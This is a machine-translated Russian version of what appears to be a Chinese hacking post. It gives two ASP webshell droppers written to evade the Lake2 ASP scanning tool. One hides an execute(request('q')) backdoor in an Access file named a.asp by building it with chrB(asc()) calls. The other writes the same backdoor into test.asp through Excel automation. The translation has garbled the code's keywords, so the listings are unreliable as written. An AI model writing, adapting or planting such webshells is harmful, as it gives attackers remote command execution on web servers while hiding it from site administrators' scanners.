Два нетрадиционных трояна ASP были написаны hanxiaolian, чтобы избежать использования помощника по управлению веб-мастерами Lake2 ASP.
Написано, чтобы избежать использования помощника по управлению веб-мастерами Lake2 ASP...
1. Пони, который обходит сканирование трояна Lake2 Asp
Скопируйте код кода следующим образом:
<%
установите c = CreateObject(ADOX.Catalog)
c.create(Provider=Microsoft.Jet.OLEDB.4.0;Источник данных=&Server.MapPath(a.asp))
установить c = Ничего
c&Server.MapPath(a.asp)
set conn=server.createobject(Adodb.Connection)
conn.open connstr
conn.execute(создать таблицу nomm(nomuma oleobject))
установите rs=server.createobject(adodb.recordset)
sql=SELECT * FROM nomm
rs.open sql,conn,1,3
rs.addnew
rs (номума).appendchunk(chrB(asc(<))&chrB(asc(%))&chrB(asc (e))&chrB
(по возрастанию(x))&chrB(по возрастанию(e))&chrB(по возрастанию(c))&chrB(по возрастанию (u))&chrB(по возрастанию(t))&chrB(по возрастанию
(e))&chrB(asc(+))&chrB(asc (r))&chrB(asc(e))&chrB(asc(q))&chrB(asc
(u))&chrB(по возрастанию (e))&chrB(по возрастанию(s))&chrB(по возрастанию(t))&chrB(по возрастанию(())&chrB(34)
&chrB(asc(q))&chrB(34)&chrB(asc()))&chrB(asc(%))& chrB(asc(>)))
RS.обновление
RS.закрыть
установить rs=ничего
конн.закрыть
установить соединение = ничего
%>
2.xls версия веб-оболочки asp
Скопируйте код кода следующим образом:
<%
Установите xlA = Server.CreateObject(Excel.Application)
xlA.Visible = Ложь
xlA.Workbooks.Добавить
Установите xlWorksheet = xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value = <%ex&ec&ute(request(q))+chr(37)+>
'strFile = d:/test.asp
стрФайл = Server.MapPath(test.asp)
xlWorkSheet.SaveAs стрфиле
xlA.Выйти
Установите xlWorksheet = Ничего
Установить xlA = Ничего
%>